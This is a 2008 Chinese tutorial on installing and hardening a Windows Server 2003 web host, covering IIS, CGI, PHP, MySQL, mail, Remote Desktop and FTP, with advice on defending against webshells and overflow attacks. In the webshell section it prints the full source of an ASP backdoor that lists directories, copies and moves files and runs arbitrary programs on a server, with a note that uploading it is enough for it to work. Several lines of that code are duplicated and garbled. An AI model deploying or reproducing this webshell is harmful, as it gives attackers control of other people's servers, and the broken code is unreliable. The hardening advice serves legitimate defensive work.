扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
来源:www.enet.com.cn 2008年09月27日
关键字:Windows 2003 系统安全 安全管理 服务器组网
Windows2003已经出现很久了,现在对于该服务器操作系统Windows2003的组网技术、安全配置技术还有很多的网友都还不是很熟悉,在这里,我将会给大家介绍一下Windows Server 2003 Enterprise Edition 企业服务器版本的组网技术、安全配置技术及一些在Win2K系统升级为Win2003系统后的一些新增功能等。Win2003系统已经比Win2K系统增加了很多的安全性,所以现在选择Win2003系统作为服务器系统,将会是网络管理员的最佳选择。
本文假设你是一个服务器管理员,现在你的服务器使用Win2003服务器系统,你的服务器需要提供支持的组件如下:(ASP、ASPX、CGI、PHP、FSO、JMAIL、MySql、SMTP、POP3、FTP、3389终端服务、远程桌面Web连接管理服务等)。
一、系统安装注意事项:
首先,你得先把你的Win2003系统安装好,在安装系统时请选择使用NTFS文件系统分区,因为该分区可以对你的服务器资源进行加密、权限设置等,如果你的文件系统分区是使用FAT32的话,而你这台服务器作为一台虚拟主机,给客户提供空间,如果客户在空间里传了一个WebShell,如ASP木马等,而你使用的FAT32文件系统却不能为你的文件设置访问权限的话,那么黑客就能通过这个ASP木马取得你的服务器管理权了,那将是没有任何的安全性可言了。为了系统的安全着想,系统安装好后,你还要给你的系统设置一个强壮的管理员口令,千万不要使用简单的口令,如123456等这样的简单登陆口令。因为网络上大部份被黑客入侵的肉鸡都是因为系统使用空口令或使用简单的口令而被黑的。一个强壮的口令应该包括数字、英文字母、符号组成,如密码k3d8a^!ka76,设置好一个强壮的系统登陆口令后,我们就可以安装各种上面所述的组件服务支持了。还是那句老话,最少的服务等于最大的安全,对于一切不须要的服务都不要安装,这样才能保证你服务器的安全性。
二、服务支持组件安装方法:
1、Windows2003系统自带组件的安装方法:
现在,我们把各种所需的组件安装到服务器里,默认的情况下,CGI、PHP、JMAIL、MySql并不是Win2003自带的组件服务,在Win2003系统默认的情况下是已经安装了(Internet 信息服务(IIS)管理器)的,而且并已经装上了ASP及ASPX的支持,我们可以通过点击开始菜单→控制面版→添加或删除程序→添加/删除Windows组件(A),然后会弹出一个Windows组件向导。然后我们再在这里添加我们需要安装的各种Win2003系统自带的组件服务、在这里我们勾选组件服务里的电子邮件服务,如下图所示。
(图1)
该组件主要是可以让我们使用Win2003系统的自带组件组建小型的企业邮局,而不再依赖于其它的外界电子邮局软件,这也是Win2003系统的一项新功能。现在我们再来安装3389终端服务远程管理组件,该组件在默认情况下也是没有安装上的,我们也是在组件向导窗口中勾选终端服务就行了,如下(图2)所示,在Win2K系统下的终端服务远程管理屏幕最高只能达到256色。而Win2003的终端服务的远程管理屏幕颜色最高可以达到24位真彩色,这也算是Win2003的一项新增功能吧。现在我们再来安装其它组件的支持。点击如下(图2)所示应用程序服务器,然后点击下面的详细信息按钮,就会弹出一个窗口,再在该窗口里选择你需要安装的其它服务。如下(图3)所示:
(图2)
(图3)
在上(图3)的窗口里,你可以选择是否安装ASP.NET的支持等服务,其它所有服务都是在Windows组件向导里安装的,请依照上面的例子勾选好需要安装的组件后,点击确定即可安装,安装过程中可能会提示你放入Windows2003系统的安装光盘。这时只要你把Windows2003系统的安装光盘放入光驱中就能把Win2003系统自带的全部的组件安装成功。
2、CGI支持安装方法:
步骤1:由于Win2003系统并不自带CGI、PHP、MySql支持的,所以我们现在再来安装这些组件的支持服务,我们首先安装CGI的支持,请把你在服务器焦点网站下载的ActivePerl-5.8.3.809-MSWin32-x86.msi CGI程序支持软件安装上(ActivePerl软件也可以登陆www.cgi.net 下载),安装过程没什么特别的,在这里不再详述。
CGI在Win2003的IIS6.0里的支持配置与Win2K的IIS5配置有点不同,IIS6增加了一些安全性。下面就来看看CGI在IIS6里是如何配置的吧。
步骤2:打开开始菜单→程序→管理工具→Internet 信息服务(IIS)管理器,就给弹出IIS管理器窗口,在该窗口中,我们双击本地计算机,就会弹出一个关联菜单,右键点击网站选择属性后弹出网站属性窗口,再点击主目录→配置→映射→添加弹出一个添加/编辑应用程序扩展名映射窗口,我们在可执行文件(X):里输入C:\Perl\bin\perlis.dll ,在扩展名(E):里输入.cgi ,再选择动作里的限制为(L):GET,HEAD,POST,TRACE 。如下(图4)所示:
(图4)
如果在Win2K里这样配置一下就可以运行CGI的脚本了,但在Win2003下还要点击WEB服务扩展,再分别选择Perl CGI Extension 及Perl ISAPI Extension 选项,点击允许使用这两个扩展服务,因为这两个CGI支持的扩展在默认情况下是禁止使用的。在你没有配置充许这两个组件使用时,你的CGI脚本程序将没法正常浏览。WEB服务扩展配置方法如下图(图5)所示:
(图5)
3、PHP支持安装方法:
在win2003中IIS6的PHP配置和win2K的也略有不同,在win2003的IIS6中,按照2000下的PHP配置方法PHP脚本是没法正常运行的。其实在Windows2003下安装也是很简单的,只不过Win2003在IIS6.0的安全方面下了些功夫,所以安装起来要稍费点功夫了。
步骤1:先去服务器焦点网站下载php-4.3.6-Win32 PHP支持软件,也可以到www.php.net下载这个PHP安装程序,我是装的是:php-4.3.6-Win32,你也可以去找最新的版本,在安装php-4.3.6-Win32之前保证你的IIS6.0启动了,并能够访问。
步骤2:将php-4.3.6-Win32 解压到c:\php,将PHP目录内的php.ini-dist 文件拷贝到Windows目录内,改名为php.ini,(这是php的配置文件,无需更改即可运行),根据需要修改php.ini 文件内容,如要使用session 功能,请建立c:\tmp 目录,并将php.ini 文档内session.save_path 的值设置成为绝对路径c:/tmp,将PHP目录内的Php4ts.dll 文件复制到C:\Windows\System32 目录内。
步骤3:IIS6.0上的PHP配置几本上和上例中的CGI相同,打开开始菜单→程序→管理工具→Internet 信息服务(IIS)管理器,就给弹出IIS管理器窗口,在该窗口中,我们双击本地计算机,就会弹出一个关联菜单,右键点击网站选择属性后弹出网站属性窗口,再点击主目录→配置→映射→添加弹出一个添加/编辑应用程序扩展名映射窗口,我们在可执行文件(X):里输入C:\php\sapi\php4isapi.dll ,在扩展名(E):里输入.php ,再选择动作里的限制为(L):GET,HEAD,POST,TRACE 。如下(图6)所示:
(图6)
步骤4:点击web服务扩展→新建web服务扩展,就会弹出一个新建服务器扩展窗口,在扩展名(X):下输入php ,再在要求的文件(E):里添加地址C:\php\sapi\php4isapi.dll ,并勾选设置状态为允许(S)。然后点击确定,这样就能让你的IIS6.0支持PHP了。设置过程如下图(图7)所示:
(图7)
4、Jmail支持安装方法:
先去服务器焦点下载Jmail支持软件,这是一个可以让你的网站自动发出大量的电子邮件的免费邮件服务器,例如通过Jmail服务器,你可以使你的论坛等程序自动向网友注册时填写的邮箱地址发送注册成功邮件等,功能强大。简单易用,确实为WEB服务不可缺少的组件。这里我们下载Jmail v4.4 Professional 版本,安装方法很简单,只须直接双击安装文件JMail44_pro.exe,然后根据提示安装即可,没须额外的配置。由于安装过程十分简单,在这里不再详述。
5、MySql数据库支持安装方法:
Mysql数据库介绍:MySql是一个多线程的,结构化查询语言(SQL)数据库服务器。SQL 在世界上是最流行的数据库语言。MySQL 的执行性能非常高,运行速度非常快,并非常容易使用,现在MySql数据库已经成为世界上使用广泛的数据库。
步骤1:现在我们以安装MySql For Windows v3.23.57版数据库服务器为例,当然,你也可以选择安装高版本MySql服务器。首先我们去服务器焦点网站下载MySql For Windows v3.23.57数据库服务器软件,也可以到www.mysql.net网站下载mysql的最新版本。然后我们双击运行MySql的安装程序setup.exe,根据提示把MySql安装在C:\Mysql的目录下。安装过程十分简单,在这里不再详述,当把MySql好后,我们开始配置Mysql,点击开始菜单→运行,在运行里输入CMD后回车,出现CMD命令提示符。在命令提示符里输入以下命令CD\MySql\Bin进入MySql的Bin目录。然后输入安装命令mysqld-nt.exe –install。屏幕将会出现一句Service successfully installed.英文,这时代表安装成功。如下图(图8)所示:
(图8)
为了让MySql在每次系统启动时能自动启动,我们还须进行如下配置,点击开始菜单→程序→管理工具→服务,找到MySql服务,点击鼠标右键选择启动,如下图(图9)所示,这时MySql全部安装成功。
(图9)
步骤2:MySql的安全配置:
从MySql的安装上,我们可以看出安装过程是十分的简单,但是安全上又怎么样呢?其实MySql数据库服务器有一个致命的缺陷,那就是在MySql安装好后,系统会自动建立一个默认的ROOT管理员帐号,面这个ROOT帐号却是空口令的。如果我们不给这个管理员ROOT帐号设置一个口令,那将等于给黑客打开了入侵服务器大门。
如何防范MySql的空口令漏洞呢,其实防范方法很简单,那就是给MySql的管理员帐号ROOT设置一个强壮的口令。设置口令方法很简单,我们只需要在CMD命令提示符下进入C:\Mysql\Bin 目录,然后输入以下命令:
mysqladmin -u root -p password 你的新密码
如果我们要为ROOT设置一个密码为NETPK,我们只要输入以下命令:
mysqladmin -u root -p password NETPK
然后回车确定,新密码就设置成功了。这样黑客将没法使用空口令登陆你的MySQL数据库服务器了。这个方法虽然简单,但是却很实用。
6、用Windows2003架设小型企业邮局服务器:
在本文第二节中,我们已经介绍了在Windows组件向导里安装电子邮件服务的方法,我们只须在Windows组件向导里勾选SMTP及电子邮件服务支持就可以组建电子邮局了。但目前还不支持WEB收发邮件,只支持POP3收发邮件,
步骤1、配置POP3服务器:
点击开始菜单→管理工具→POP3服务,弹出POP3服务控制台窗口,选中左栏中的POP3服务后,点击右栏中的“新域”按钮,弹出“添加域”对话框,接着在域名栏中输入邮件服务器的域名,也就是邮件地址@后的域名,如“cnhack.cn”,最后点击“确定”按钮。如下图(图10)所示:
(图10)
其中“cnhack..cn”为在Internet上注册的域名,并且该域名在你的域名控制面版中设置了MX邮件交换记录,并解释到了你现在的Windows2003邮件服务器的IP地址中上。
现在我们可以创建用户邮箱了,选中并双击刚才新建的“cnhack.cn”域,在右栏中点击“添加邮箱”,弹出添加邮箱对话框,在“邮箱名”栏中输入邮件用户名,本例中输入用户名cai ,然后设置用户密码,最后点击“确定”按钮,就能完成用户邮箱的创建。如下图(图11)所示:
(图11)
步骤2、配置SMTP服务器:
点击开始菜单→管理工具→Internet 信息服务(IIS)管理器,在IIS管理器中右键点击
“默认SMTP虚拟服务器选项”在弹出的菜单中选择“属性(R)”,进入“默认SMTP虚拟服务器选项”,切换到常规标签页,在“IP地址”下拉列表框中选中邮件服务器的IP地址即可,点击“确定”按钮,这样一个简单的邮件服务器就架设完成了。完成以上的设置后,用户就可以使用邮件客户端软件连接邮件服务器进行邮件的收发了。在设置邮件客户端软件的SMTP及POP3地址时,输入邮件服务器的域名“cnhack.cn”就OK了。一定简单的小型电子邮局服务器就配置完成。
在本文第二节中,我们已经介绍了在Windows组件向导里安装3389终端服务器的方法,我们只须在Windows组件向导里勾选终端服务就可以使用终端服务远程管理服务器了。相信大家都玩过了3389的肉鸡,网络上大部份被黑客入侵的空口令肉鸡因为开放了3389终端远程管理服务,而被黑客不费吹灰之力就能取得远程管理权。
因为黑客们都是使用如X-scan 等漏洞扫描软件,只要黑客扫描3389端口的机器,你的终端服务器就会暴露在黑客的眼前,那就对你的服务器存在一定的危险性。3389终端远程管理服务默认的情况下是开放3389端口的,只要我们终端服务默认开放的端口号改一下,那么黑客就很难猜测我们的服务器是否开放终端服务了。
修改终端服务器端口号是通过修改Windows2003的注册表来实现的,我们只要修改注册表中的其中一项键值即可。点击“开始菜单→运行”在运行里输入REGEDIT 命令,启动注册表编辑器,然后打开如下键值:[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
找到如下键名PortNumber ,双击打开修改键值,然后选择“十进制(D)”,将原来的3389端口号改为你想更换的端口号,本例中我们把端口改为7890,如下图(图12)所示:
在端口号修改完毕后,我们重新启动计算机使修改的端口号生效,这样别人就没法使用3389端口连接你的服务器了,重启完成后,我们以后如想连接终端服务器,可打开终端服务客户端软件,然后在计算机(C)的右栏中输入你服务器的IP地址及端口号即可登陆你的终端服务器,假设我们的服务器IP地址为192.168.0.8 ,那么我们只要在输入框中输入如下地址即可登陆终端服务器“192.168.0.8:7890 ”其中IP与端口号用“:”分隔开。如下图(图13)所示:
(图13)
当登陆成功后,会出现以下成功登陆窗口,如图(图14)所示:
(图14)
至此终端服务器端口修改成功。
8、用IE远程管理服务器:
黑防在上期杂志上刊登了Win2003的Web安全远程管理一文,以下作一些补充,详细安装远程WEB管理过程及基本功能请看上期黑防杂志《Win2003的Web安全远程管理》。在这里我们需要补充的是基于WEB管理中的终端服务,就是说我们可以通过任何一台客户机的IE浏览器直接进行远程桌面连接,而不再依赖任何的终端服务客户端工具登陆Win2003的终端服务了。
现在假设我们客户机使用的是Win98系统,服务器的IP地址这192.168.0.8 ,我们可在IE地址栏中输入地址:“http://192.168.0.8:8089 ”,其中8089是远程管理的Web 界面下的SSL端口,然后输入管理员的用户名和密码并回车即可登陆Web远程管理界面。在打开的“服务管理”界面中,点击“维护”再点击“远程桌面”按钮,就会弹出一个远程桌面管理维护的终端窗口,现在就可以连接到远程服务器的桌面了。在该窗口中,你只要输入管理员的用户名及密码,就能成功登陆远程桌面,就像你登陆3389终端服务一样。如上图(图14)所示。
无论是3389终端服务还是WEB远程桌面管理,都是只能允许同时两个连接会话,如果已经有两个以上会话在进行,则新用户将被拒绝进行远程桌面管理登陆。必须要等正在登陆的原来两个用户其中一个退出登陆会话后,你才能登陆服务器远程桌面进行管理。
9、FTP服务器配置:
在本文第二节中,我们已经介绍了在Windows组件向导里安装FTP服务器的方法,现在我们开始使用Win2003系统自带的FTP服务架设一台安全的FTP服务器。
步骤1、为FTP服务器建立一个安全的专用FTP帐号:
点击“开始菜单→管理工具→计算机管理”,这里弹出一个计算机管理窗口,我们在里面建立一个供FTP客户端登陆的帐号,双击左栏中的“本地用户和组”然后在右栏中点击鼠标右键,选择“新建”命令,就会弹出一个新用户建立窗口,现在我们建立一个用户,在这里我们建立一个用户名为cnhack 的帐号,密码为chinanetpk ,并去除“用户下次登陆时须更改密码”的选项,勾选“用户不能更改密码”及“密码永不过期”选项。然后点击“创建”按钮,就创建了一个用户名为cnhack 的用户。如下图(图15)所示:
(图15)
为了服务器安装着想,我们还须进行如下安全设置,在默认的情况下,我们建立的用户帐号为Users 组用户,虽然普通用户组对服务器安全影响不大,但我们还是把这个用户所属的Users 组删除,把刚建立的cnhack 用户添加到Guests 用户组,步骤如下:
右击右栏中刚才建立的普通用户cnhack ,出现一个菜单,选择属性,这时会弹出别一个窗口cnhack 属性窗口,选择“隶属于”标签,这时我们会看到cnhack 用户隶属于Users组,我们选择下栏中的Users组名称,并选择“删除”按钮,这里cnhack用户原来的隶属组被删除,我们再点击下栏中的“添加”按钮,这时弹出一个“选择组”窗口,选择“高级”按钮,再点击“立即查找”按钮,这时我们会看到一个“Guests”用户组名,双击“Guests”用户组名称后返回选择组窗口,点击“确定”按钮退出。这样我们就把刚建立的cnhack 用户添加进了Guests 用户组,并把原cnhack 隶属的用户组删除了。基本配置方法如下图(图16)所示:
(图16)
为了服务器安装着想,我们还应在“cnhack属性”栏里选择远程控制标签,把“启用远程控制”的勾去掉。这里一个安全的FTP帐号建立成功。如下图(图17)所示:
(图17)
本例中,我们在D盘建立一个文件夹,并重命名该文件夹文件名为cnhack ,然后在该文件夹图标处点击右键,出现一菜单,选择“属性”,这里弹出一个属性对话框,在“cnhack 属性”中选择“安全”标签,点击右下方的“高级”选项,并去除勾选“允许父项的继承权限传播到该对像和所有对像,包括那些在此明确定定义的项目(A)”。如下图(图18)所示:
(图18)
然后点击确定按钮,返回cnhack属性的“安全”标签,在这里会看到还剩下一个超级管理员组Administrators 成员可以管理cnhack 文件夹,我们再勾选允许超级管理员组成员允许完全控制该文件夹,这样就给了我们管理员组对cnhack文件夹的完全控制权,现在我们再给我们刚才建立的cnhack 用户管理权限,我们点击”添加”按钮,根据提示把cnhack 帐号添加成为cnhack 文件夹的管理员,然后再勾选允许cnhack 帐号完全管理该文件夹,这样就给了cnhack 帐号对该文件夹的完全管理权。如下图(图19所示):
(图19)
现在D:\cnhack 文件夹只允许超级管理员组Administrators 成员和帐号为cnhack 的来宾组成员进行管理与访问了,其它帐户的帐号将不能对cnhack 文件夹有任何的访问权及修改权限。
步骤2、使用Internet 信息服务(IIS)管理器建立一个安全的FTP空间:
现在我们打开“开始菜单”→“程序”→“管理工具”→“Internet 信息服务(IIS)管理器”,弹出一个IIS管理器窗口,在里面找到“FTP站点”→“默认FTP 站点”,并在“默认FTP 站点”里点击鼠标右键,选择“属性”选择,出现一个“默认FTP 站点属性”对话框,选择“主目录”标签,把原来默认的地址改为我们刚才建立的文件夹D:\cnhack 的路径,下面会有三个选项,分别是、“读取、写入、记录访问”,你可以根据需要勾选,如果中介提供给别人下载的FTP空间,则不要勾选写入选项,如果需要提供给别人上传及更改FTP空间内容的,则需要勾选写入选项。本例中,我们是让朋友可以把数据上传到FTP空间的,所以我们勾选了“写入”选项,如下图(图20)所示:
(图20)
下面我们再来配置使用指定的我们刚才建立的帐号cnhack 才能登陆现在这个FTP空间,我们现在点击“安全帐户”标签,再点击“浏览”按钮,根据提示选择我们刚才建立的cnhack用户名,然后点击确定,这样就指定了这个空间只有使用我们设置的cnhack 用户帐号才能登陆,记住不要勾选下面的“只允许匿名连接”选项,因为这样将会带来安全问题,如下图(图21)所示:
(图21)
现在我们再来指定该FTP站点的IP地址,我们只要点击“FTP站点”标签,然后在“IP地址(I)”的右栏输入框里输入我们本机的IP地址即可。还有可以在“TCP/IP端口(T)”的右输入框里修改当前FTP站点的TCP/IP端口号,默认情况下是使用21端口的。如下图(图22)所示:
(图22)
这样一个安全的FTP站点就建立成功了。使用IIS6建立的FTP服务器可以使用IE及FTP客户端软件登陆FTP空间。而且功能强大。
10、IIS6下防范WebShell安全配置:
前几节中,我们已经介绍过了如何在IIS6下配置CGI、PHP,在Win2003系统下,ASP和ASPX都是系统组件,都可以在“开始菜单”→“控制面版”→“添加删除程序”里安装及删除的。关于安装及配置上述组件的方法在这里不再详述。
(1)配置一个简单的WWW虚拟主机:
现在我们举例如何组建一个WWW的虚拟主机网站,我们现在打开“Internet 信息服务(IIS)管理器”,在左栏窗口中双击“网站”会展开一个关联菜单,找到“默认网站”点击右键出现一个菜单,选择菜单里的“属性”选项,弹出一个“默认网站属性”窗口,现在我们选择“网站”标签,在“IP地址(I)”的右栏里输入你机器的IP地址,本例中,我们的IP地址输入为192.168.0.8 ,这个IP地址就是我本机的IP地址,在“TCP端口(T)”里我们可以看到默认的浏览窗口是80,在这里我们可以更改浏览网站的端口号,点击右栏的“高级(D)”按钮,我们可以在里面添加或删除我们网站的浏览域名,当然这个域名是你在Internet上申请来的,并把域名的A记录指向到了你的本机IP,以后我们就可以使用域名记录来访问你的网站了。
现在我们来配置这个虚拟主机的WWW访问目录,我们点击“主目录”标签,在“本地路径(C)”的右栏里输入你这个虚拟主机在WWW所要浏览的目录,在本例中,我们输入D:\cnhack ,这样明人就能在WWW上通过http 协议访问我们服务器里的D:\cnhack 目录里的资源了。在“本地路径(C)”的下方有多个可勾选的选项,一般我们保留默认的就行了,千万不要勾选“写入”项,因为这样将会导致服务器的安全问题,一般我们只使用默认的“读取(R)、记录访问(V)、索引资源(I)”就已经足够了。如下图(图23)所示:
(图23)
我们还可以在“文档”标签里添加虚拟主机默认的首页文件名等,这样一个简单的虚拟主机服务就配置完成了。如果你已经按上几节所写的配置过成,那么现在你的这个虚拟主机将会是已经支持ASP、ASPX、CGI、PHP、FSO、JMAIL、MySql、SMTP、POP3、FTP、3389终端服务、远程桌面Web连接管理服务等功能强大的服务器了。
(2)、安全使用FSO主机:
其实按我们上一节所说的配置一个简单的虚拟主机,这样的主机是存在各种WEBSHELL的威胁的,假如你给朋友开了个虚拟主机空间,那么这个虚拟主机存在的最大安全隐患将会是FSO权限问题,其实FSO的安全隐患在Win2K系统里已经是令网管头疼的事了,但在Win2003中这个FSO的安全隐患却依然没有解决,在没有经过安全配置的虚拟主机下,只要黑客给虚拟主机空间上传一个ASP木马,黑客就能利用FSO权限浏览服务器里的所有文件,并能复制、删除服务器里的所有文件,甚至能利用ASP木马取得服务器的管理权,可见FSO安全配置的重要性。
下面我们举例,如果黑客通过某些手段在你的虚拟主机空间上传了一个ASP木马,那么就等于黑客已经拥有了一个WEBSHELL,黑客可以通过这个WEBSHELL控制整台服务器里的数据,本例中我们介绍的是黑客们都熟悉的海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……如下图(图24)所示:
(图24)
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载,源代码就不便写出来了。各黑客网站上还有其它版本的ASP木马下载,但基本上都是调用FSO(Scripting.FileSystemObject)写的。
其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\windows\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象。
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
(3)免FSO对像就能使用的ASP木马防范方法:
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。以下是当你浏览这个ASP木马时,所出现的图例,如(图25)所示:
(图25)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD < szCMD = Request.Form("text") '目录浏览
if (szCMD <>"") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" &co.path &"-----" &co.size &"</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1< szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path &"\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3< szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path &"\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5< szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
你只要把上面的代码写在记事本里,保存扩展名为.ASP ,再传到你的虚拟主机空间就可以运行了。
防范免FSO支持的ASP木马方法如下:
通过上面的代码,我们可以看出这段代码的SHELL是通过shell.application 建立shell 对像的,我们只要在注册表里查找键值shell.application和wscript.shell 键值,然后把这些键值删除,就能防止这一类的ASP木马攻击了,删除这些键值对你的服务器及ASP支持等不会造成影响的,所以请放心删除。
各黑客网站上还有各种各样的WEBSHELL下载,除了ASP的WEBSHELL以外,还有CGI、PHP、JSP的等等。基本上都是大同小异的,还有一些WEBSHELL是调用系统下的CMD.EXE命令运行的。但这些调用服务器系统CMD.EXE的WEBSHELL木马在Win2003下没法运行了,能调用CMD.EXE命令的WEBSHELL只在Win2K下测试通过,在Win2003下,那些ASP、CGI、PHP、JSP的WEBSHELL已经不能调用CMD.EXE的命令了。原因很简单,因为Win2K下的CMD.EXE命令在默认情况下是能以匿名及来宾权限访问的,而Win2003系统下,CMD.EXE命令却禁止了“Everyone”匿名访问及“Guests”组的访问权限了,所以各种调用CMD.EXE的WEBSHELL木马都没法运行了,这也算是Win2003系统安全上的一点进步吧。
十一、配置一台安全的服务器,把各种溢出攻击、反向连接木马拒于门外:
上一节中,我们谈到了有些WEBSHELL能通过调用系统的CMD.EXE命令在服务器上运行CMD命令,我们再细想一下,现在网络上流行的溢出攻击,如WEBDAV溢出等不就是对存有溢出漏洞的服务器进行溢出攻击的吗?攻击成功后,被溢出的服务器就会自动绑定服务器的CMD.EXE命令,黑客就会远程连接被溢出成功的服务器的CMD.EXE命令行。以取得远程服务器的系统管理权。
既然黑客的溢出攻击是通过溢出攻击工具溢出成功后绑定CMD.EXE命令并以SYSTEM系统权限登陆服务器的,只要我们对Win2003系统下的C:\WINDOWS\SYSTEM32\CMD.EXE文件设置一定的权限,呵呵,那么黑客的这些溢出攻击都将没用武之地了。为了安全起见,我们还要对如net.exe cacls.exe telnet.exe tftp.exe ftp.exe format.com mountvol.exe mshta.exe等危险的命令作出权限设置。因为这些危险的文件默认的情况下都是允许SYSTEM权限的用户访问及执行的,只有为这些文件设置了权限,这样才能确保服务器系统真正的安全。这些危险的文件默认的情况下,都是存放在C:\WINDOWS\SYSTEM32 的目录下的。设置权限的方法如下图(图26)所示:
(图26)
清除原来的所有其它用户访问这些命令的权限,然后只设置允许你正在使用的超级用户拥有使用这些命令的权限,比如说你正在使用的超级用户名是administrator 那么,你就在权限设置里只允许用户名为administrator 的用户使用这些命令。
通过这些安全配置,以后你的服务器就算存在溢出漏洞,就算黑客对你的服务器进行溢出攻击成功,黑客也没法登陆你的服务器的了,因为一般黑客的溢出攻击都是通过绑定远程被溢出攻击服务器的系统CMD命令登陆的,并且是以SYSTEM权限登陆,而你在CMD的使用权限里删除了所有用户的使用CMD权限,只有你正在使用的超级管理员帐号才能拥有这个CMD命令的使用权,所以黑客就算溢出成功了,也没法远程连接并登陆你的服务器了。通过最简单的安全配置,就能防范多种未知及已知的溢出攻击,是不是很实用呢!:)
但这只能是相对的安全,因为有些溢出攻击黑客能直接把反向连接的木马文件传到你的服务器上,并能运行哦。呵呵,如最近出现的Serv-U溢出,如果你的FTP服务器使用了Serv-U的话,你又没有打上最新的安全补丁,让黑客溢出成功了,那么黑客可以不绑定你的CMD命令登陆你的服务器,而是给你服务器传一个反向连接的木马后门,这种反向连接的后门是通过你的服务器向黑客的机器连接,而黑客只要在自己的机器监听,只要你的服务器中了这种后门,那么就算你的服务器安装了防火墙,并屏蔽了所有不使用的端口,黑客不能正向与你的服务器联接木马后门,但黑客给你传一个反向连接的木马,这个木马是通过你的服务器连接黑客的机器的,只要你的服务器向黑客的机器发出连接请求,黑客就能取得你服务器的控制权,而这种反向木马攻击可以完全不依赖于Win2003系统下的CMD.EXE。可以反向连接木马的危害性。
